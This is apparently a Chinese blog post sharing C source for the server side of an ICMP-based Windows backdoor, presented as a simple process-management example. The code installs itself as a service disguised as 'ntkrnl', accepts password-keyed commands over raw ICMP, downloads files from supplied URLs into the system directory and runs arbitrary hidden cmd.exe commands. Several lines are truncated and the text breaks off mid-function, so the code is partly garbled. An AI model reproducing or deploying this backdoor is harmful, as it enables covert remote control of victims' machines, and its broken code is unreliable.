代码从网上所得,是一个通过ICMP 协议通讯的例子。 服务器端,注册成为服务,所支持的功能有限,只有list process,以及 stop process ,以及卸载服务器的段所注册的服务。 (可以从代码中看到原作者)
服务器端代码如下:
#include <stdio.h>
#include <urlmon.h>
#include <tlhelp32.h>
//#include "stdafx.h"
#pragma comment(lib, "Urlmon.lib")
#pragma comment(lib, "ws2_32.lib") #define ICMP_PASSWORD 1234
#define STATUS_FAILED 0xFFFF
#define MAX_PACKET 6500
#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s)) /* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4位首部长度
unsigned int version:4; //IP版本号,4表示IPV4
unsigned char tos; //8位服务类型TOS
unsigned short total_len; //16位总长度(字节)
unsigned short ident; //16位标识
unsigned short frag_and_flags; //3位标志位
unsigned char ttl; //8位生存时间 TTL
unsigned char proto; //8位协议 (TCP, UDP 或其他)
unsigned short checksum; //16位IP首部校验和
unsigned int sourceIP; //32位源IP地址
unsigned int destIP; //32位目的IP地址
}IpHeader; //定义ICMP首部
typedef struct _ihdr
{
BYTE i_type; //8位类型
BYTE i_code; //8位代码
USHORT i_cksum; //16位校验和
USHORT i_id; //识别号(一般用进程号作为识别号)
USHORT i_seq; //报文序列号
ULONG timestamp; //时间戳
}IcmpHeader; char arg[256];
char buffer[2048] = {0};//管道输出的数据
void decode_resp(char *,int ,struct sockaddr_in *);//ICMP解包函数
void fill_icmp_data(char * icmp_data);
void pslist(void);
BOOL killps(DWORD id);//杀进程函数
void send(void);
char *ICMP_DEST_IP;
USHORT checksum(USHORT *buffer, int size);
HANDLE hMutex;
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE ServiceStatusHandle;
void WINAPI CmdControl(DWORD);
DWORD WINAPI CmdService(LPVOID);
void InstallCmdService(void);
void RemoveCmdService(void);
void usage(char *par); int main(int argc,char *argv[])
{
#if 0
SERVICE_TABLE_ENTRY DispatchTable[]={{"ntkrnl",ICMP_CmdStart},{NULL,NULL}};
if(argc==2)
{
if(!stricmp(argv[1],"-install"))
{
usage(argv[0]);
InstallCmdService();
}
else if(!stricmp(argv[1],"-remove"))
{
usage(argv[0]);
RemoveCmdService();
}
else usage(argv[0]);
return 0;
}
else usage(argv[0]);
StartServiceCtrlDispatcher(DispatchTable);
CmdService(0);
return 0;
} void WINAPI ICMP_CmdStart(DWORD dwArgc,LPTSTR *lpArgv)
{
HANDLE hThread;
ServiceStatus.dwServiceType
= SERVICE_WIN32;ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP|SERVICE_ACCEPT_PAUSE_CONTINUE;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
ServiceStatusHandle
=RegisterServiceCtrlHandler("ntkrnl",CmdControl);if(ServiceStatusHandle==0)
{
OutputDebugString("RegisterServiceCtrlHandler Error ! ");
return ;
}
ServiceStatus.dwCurrentState
= SERVICE_RUNNING;ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdStart Error ! ");
return ;
}
hThread
=CreateThread(NULL,0,CmdService,NULL,0,NULL);if(hThread==NULL)
{
OutputDebugString("CreateThread in CmdStart Error ! ");
}
return ;
} void WINAPI CmdControl(DWORD dwCode)
{
switch(dwCode)
{
case SERVICE_CONTROL_PAUSE:
ServiceStatus.dwCurrentState = SERVICE_PAUSED;
break;
case SERVICE_CONTROL_CONTINUE:
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
break;
case SERVICE_CONTROL_STOP:
WaitForSingleObject(hMutex,INFINITE);
ServiceStatus.dwCurrentState
= SERVICE_STOPPED;ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl in Switch Error ! ");
}
ReleaseMutex(hMutex);
CloseHandle(hMutex);
case SERVICE_CONTROL_INTERROGATE:
break;
default:
break;
}
if(SetServiceStatus(ServiceStatusHandle,&ServiceStatus)==0)
{
OutputDebugString("SetServiceStatus in CmdControl out Switch Error ! ");
}
return ;
}
DWORD WINAPI CmdService(LPVOID lpParam)
//这里是服务的主函数,把你的代码写在这里就可以成为服务{
char *icmp_data;
int bread,datasize,retval;
SOCKET sockRaw = (SOCKET)NULL;
WSADATA wsaData;
struct sockaddr_in dest,from;
int fromlen = sizeof(from);
int timeout = 2000;
char *recvbuf;
if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)
{
printf("WSAStartup failed: %s ",retval);
ExitProcess(STATUS_FAILED);
}
sockRaw
= WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);if (sockRaw == INVALID_SOCKET)
{
printf("WSASocket() failed: %s ",WSAGetLastError());
ExitProcess(STATUS_FAILED);
}
__try{
bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
if(bread == SOCKET_ERROR) __leave;
memset(
&dest,0,sizeof(dest));dest.sin_family = AF_INET;
datasize=0;
datasize += sizeof(IcmpHeader);
icmp_data =(char*)xmalloc(MAX_PACKET);
recvbuf = (char*)xmalloc(MAX_PACKET);
if (!icmp_data) {
//fprintf(stderr,"HeapAlloc failed %d ",GetLastError());
__leave;
}
memset(icmp_data,0,MAX_PACKET);
for(;;) {
int bwrote;
bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));
bread
= recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);if (bread == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT)continue;
__leave;
}
decode_resp(recvbuf,bread,
Sleep(200);
memset(recvbuf,0,sizeof(recvbuf));
}
}
__finally {
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}
return 0;
}
void InstallCmdService(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpCurrentPath[MAX_PATH];
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
HANDLE hSearch;
DWORD dwErrorCode;
SERVICE_STATUS InstallServiceStatus;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,
lpHostName=NULL;
printf(
"Transmitting File ... ");hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH);
if(CopyFile(lpCurrentPath,lpImagePath,FALSE)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==5)
{
printf("Failure ... Access is Denied ! ");
}
else
{
printf("Failure ! ");
}
return ;
}
else
{
printf("Success ! ");
}
}
else
{
printf("already Exists ! ");
FindClose(hSearch);
}
schSCManager
=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);if(schSCManager==NULL)
{
printf("Open Service Control Manager Database Failure ! ");
return ;
}
printf(
"Creating Service .... ");schService=CreateService(schSCManager,"ntkrnl","ntkrnl",SERVICE_ALL_ACCESS,
SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,"ntkrnl.exe",NULL,NULL,NULL,NULL,NULL);
if(schService==NULL)
{
dwErrorCode=GetLastError();
if(dwErrorCode!=ERROR_SERVICE_EXISTS)
{
printf("Failure ! ");
CloseServiceHandle(schSCManager);
return ;
}
else
{
printf("already Exists ! ");
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START);
if(schService==NULL)
{
printf("Opening Service .... Failure ! ");
CloseServiceHandle(schSCManager);
return ;
}
}
}
else
{
printf("Success ! ");
}
printf(
"Starting Service .... ");if(StartService(schService,0,NULL)==0)
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
printf("already Running ! ");
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return ;
}
}
else
{
printf("Pending ... ");
}
while(QueryServiceStatus(schService,&InstallServiceStatus)!=0)
{
if(InstallServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
if(InstallServiceStatus.dwCurrentState!=SERVICE_RUNNING)
{
printf("Failure ! ");
}
else
{
printf("Success ! ");
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
} void RemoveCmdService(void)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
char lpImagePath[MAX_PATH];
char *lpHostName;
WIN32_FIND_DATA FileData;
SERVICE_STATUS RemoveServiceStatus;
HANDLE hSearch;
DWORD dwErrorCode;
GetSystemDirectory(lpImagePath,MAX_PATH);
strcat(lpImagePath,
lpHostName=NULL;
schSCManager
=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS);if(schSCManager==NULL)
{
printf("Opening SCM ......... ");
dwErrorCode=GetLastError();
if(dwErrorCode!=5)
{
printf("Failure ! ");
}
else
{
printf("Failuer ... Access is Denied ! ");
}
return ;
}
schService
=OpenService(schSCManager,"ntkrnl",SERVICE_ALL_ACCESS);if(schService==NULL)
{
printf("Opening Service ..... ");
dwErrorCode=GetLastError();
if(dwErrorCode==1060)
{
printf("no Exists ! ");
}
else
{
printf("Failure ! ");
}
CloseServiceHandle(schSCManager);
}
else
{
printf("Stopping Service .... ");
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("already Stopped ! ");
}
else
{
printf("Pending ... ");
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
if(RemoveServiceStatus.dwCurrentState==SERVICE_STOPPED)
{
printf("Success ! ");
}
else
{
printf("Failure ! ");
}
}
else
{
printf("Failure ! ");
}
}
}
else
{
printf("Query Failure ! ");
}
printf(
"Removing Service .... ");if(DeleteService(schService)==0)
{
printf("Failure ! ");
}
else
{
printf("Success ! ");
}
}
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
printf(
"Removing File ....... ");Sleep(1500);
hSearch=FindFirstFile(lpImagePath,&FileData);
if(hSearch==INVALID_HANDLE_VALUE)
{
printf("no Exists ! ");
}
else
{
if(DeleteFile(lpImagePath)==0)
{
printf("Failure ! ");
}
else
{
printf("Success ! ");
}
FindClose(hSearch);
}
return ;
} void decode_resp(char *buf, int bytes,struct sockaddr_in *from)
{
IpHeader
*iphdr;IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4 ;
icmphdr = (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段
{
ICMP_DEST_IP
=inet_ntoa(from->sin_addr);//取得ICMP包的源地址memcpy(arg,buf+iphdrlen+12,256);
if (!memcmp(arg,"pskill",6))
{
killps(atoi(strstr(arg," ")));
memcpy(buffer,"Process is Killed!",sizeof("Process is Killed!"));
send();
}
else if (!memcmp(arg,"pslist",6)){pslist();send();}
else if (!strcmp(arg,"remove "))
{
RemoveCmdService();
memcpy(buffer,"Service Removed!",sizeof("Service Removed!"));
send();
return;
}
////////////************ http下载 *************
else if (!memcmp(arg,"http://",7))
{
if(char *FileName=strstr(arg,"-"))
{
char url[200];//保存网址的数组
memset(url,0,200);
memcpy(url,arg,int(FileName-arg-1));
char fname[MAX_PATH];
GetSystemDirectory(fname,MAX_PATH);
FileName++;
strcat(fname,"/");
strcat(fname,FileName);
*strstr(fname," ")=NULL;
HRESULT hRet=URLDownloadToFile(0,url,fname,0,0);
memset(buffer,0,sizeof(buffer));
if(hRet==S_OK) memcpy(buffer,"Download OK! ",sizeof("Download OK "));
else
memcpy(buffer,"Download Failure! ",sizeof("Download Failure! "));
send();
return;
}
}
//*******************************************
else{
SECURITY_ATTRIBUTES sa;
//创建匿名管道用于取得cmd的命令输出HANDLE hRead,hWrite;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
printf("Error On CreatePipe()");
return;
}
STARTUPINFO si;
PROCESS_INFORMATION pi;
si.cb
GetStartupInfo(&si);
si.hStdError = hWrite;
si.hStdOutput = hWrite;
si.wShowWindow = SW_HIDE;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
char cmdline[270];
GetSystemDirectory(cmdline,MAX_PATH+1);
strcat(cmdline,
"/cmd.exe /c"); strcat(cmdline,arg);
{
printf("Error on CreateProcess()");
return;
}
CloseHandle(hWrite);
DWORD bytesRead;
for(;;){
if (!ReadFile(hRead,buffer,2048,&bytesRead,NULL))break;
Sleep(200);
}
//printf("%s",buffer);
/////////////////////////////////////////////
//发送输出数据